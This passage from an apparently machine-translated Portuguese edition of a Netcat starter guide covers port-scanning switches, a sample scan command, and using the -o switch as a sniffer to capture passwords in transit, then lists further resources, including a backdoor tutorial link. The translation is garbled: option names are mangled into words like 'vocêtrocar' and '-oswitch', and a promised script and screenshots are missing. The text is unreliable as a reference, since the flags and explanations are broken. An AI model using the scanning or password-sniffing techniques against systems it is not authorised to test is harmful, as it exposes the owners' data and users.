verificado. Conforme listado na seção anterior, a verificação de portas visa apenas as portas TCP e não as portas
UDP. Se quiséssemos escanear portas UDP, poderíamos especificar o
- vocêtrocar. Outro interruptor que poderíamos usar é o –ntrocar. Por padrão, o Netcat utilizará o DNS para
procurar o endereço IP do host. Embora tenhamos usado endereços IP exclusivamente em nossos exemplos
deste livro, poderíamos usar nomes de host com a mesma facilidade. O -nswitch ignora a resolução de nomes, o
que em certos casos pode reduzir sua pegada nos logs.
42
Iniciador Instantâneo do Netcat
nc –v –r –w 1 192.168.0.10 –z 1-1000
43
Iniciador Instantâneo do Netcat
Na próxima captura de tela, vemos a saída como ela existe no meu segmento de laboratório:
44
Iniciador Instantâneo do Netcat
O -oswitch permite que o Netcat sirva como um sniffer rudimentar, semelhante à saída bruta de um dump
hexadecimal. Um cenário que aproveita esse tipo de opção seria se você configurasse o Netcat como o
intermediário entre cliente(s) e servidor. Com o -oswitch, seria relativamente simples pegar senhas ou outros
dados confidenciais à medida que estivessem atravessando sua conexão. O -oswitch despeja os dados brutos
em um arquivo de sua escolha, onde podem ser coletados e examinados posteriormente.
O -sswitch é usado para ancorar o soquete em um dispositivo que possui várias interfaces atribuídas. Como o -pswitch,
o Netcat pode se ligar a qualquer interface que seja local e tenha privilégios para. Eu nunca usei essa opção específica,
embora o arquivo LEIA-ME do Netcat especifique um caso de uso da seguinte forma:
45
Iniciador Instantâneo do Netcat
"Você pode usar o Netcat para proteger o servidor X de sua própria estação de trabalho contra acesso
externo. O X é estúpido o suficiente para escutar conexões em qualquer servidor e nunca lhe diz quando
uma nova conexão chega, o que é uma razão pela qual é tão vulnerável. suas várias janelas X
funcionando, você pode usar o Netcat para vincular apenas ao seu endereço Ethernet e ouvir a porta
6000. Qualquer nova conexão de fora da máquina atingirá o Netcat em vez de seu servidor X, e você
obterá um log de quem está tentando fazer isso. Servidor X ativadolocalhost.Isso pode não funcionar para
terminais X dedicados, mas pode ser possível autorizar seu terminal X apenas para seu servidor de
inicialização e executar um Netcat de retransmissão no servidor que, por sua vez, se comunicará com seu
terminal X. Como o Netcat lida apenas com uma conexão de escuta por execução, certifique-se de que,
seja qual for a maneira de rig, faça com que outra seja executada e ouça em 6000 logo depois, ou seu
servidor X real estará acessível novamente. Um script muito mínimo apenas para se proteger pode ser o
seguinte:
Isso faz com que o Netcat aceite e feche qualquer conexão de entrada para o endereço Ethernet normal da sua estação
de trabalho, e outra cópia é executada imediatamente pelo script. Envie um erro padrão para um arquivo para um log
de tentativas de conexão. Se o seu sistema não pode fazer oligação específicacoisa nem tudo está perdido; execute seu
servidor X em exibição:1ou porto6001,e o Netcat ainda pode funcionar como um alarme de sonda escutando6000" [
Fonte: arquivo LEIA-ME do Netcat].
46
Iniciador Instantâneo do Netcat
Sites oficiais
Ê Página inicial do Unix Netcat:http://nc110.sourceforge.net/
Ê Projeto GNU Netcat:http://netcat.sourceforge.net/
Ê Ncat – O Projeto Nmap:http://www.nmap.org/ncat
Artigos e tutoriais
Ê A Offensive Security explica como criar uma backdoor persistente usando o Netcat e o
Meterpreter do Metasploit:
http://www.offensive-security.com/metasploit-unleashed/Persistent_Netcat_Backdoor
Ê Alguns casos de uso interessantes não abordados neste livro de Johannes Franken:
http://www.jfranken.de/homepages/johannes/vortraege/netcat.en.html
Ê Uma ótima referência para usar o Netcat para depurar serviços Web SOAP e XML usando o
Netcat:
http://parand.com/say/index.php/2005/03/11/simple-recipe-fordebugging-web-
services/
Blogues e sites
Ê Hackers for Charity é uma organização fantástica que está impactando a vida de tantas
pessoas ao redor do mundo. Tenho orgulho de chamar Johnny Long de meu amigo e
recomendo que você retribua à comunidade através desta organização.
A ligação éhttp://www.hackersforcharity.org/.
Ê Vivek Ramachandran e os colaboradores do SecurityTube estão prestando um excelente
serviço aos profissionais de segurança da informação, reunindo excelentes tutoriais,
treinamento e certificações. Se você nunca visitouhttp://www.securitytube.org,você está perdendo
uma grande oportunidade de aprender habilidades em várias áreas.
47
Iniciador Instantâneo do Netcat
Ê Finalmente, um site que é próximo e querido para mim pessoalmente não é um site
de hackers em si, mas fala da questão muito real e muito séria do estresse e do
esgotamento no setor de segurança da informação. Tive a sorte de me juntar a Josh
Corman (@joshcorman),Gal Shpantzer (@shpanzer),Jack Daniel (@Jack Daniel),Stacy
Thayer(@Stacythayer),e Martin McKeay (@McKay)
fornecer pesquisas e aumentar a conscientização sobre o desgaste psicológico em informações
segurança. Nosso site éhttp://www.itburnout.org.
Twitter
As pessoas a seguir contribuem muito para a comunidade Netcat e estão entre as melhores do
setor de segurança da informação. Eu encorajo a segui-los no Twitter e conhecê-los na vida real
também.
48
Obrigado por comprar
Iniciador Instantâneo do Netcat
A Packt é uma editora moderna, porém única, que se concentra na produção de livros de
qualidade e de ponta para comunidades de desenvolvedores, administradores e novatos.
Para mais informações, visite nosso site:www.packtpub.com.
Não estamos apenas procurando autores publicados; Se você tem fortes habilidades técnicas, mas não tem experiência em
redação, nossos editores experientes podem ajudá-lo a desenvolver uma carreira de escritor ou simplesmente obter alguma
recompensa adicional por sua experiência.
Segurança GlassFish
ISBN: 978-1-84719-938-6 Brochura: 296 páginas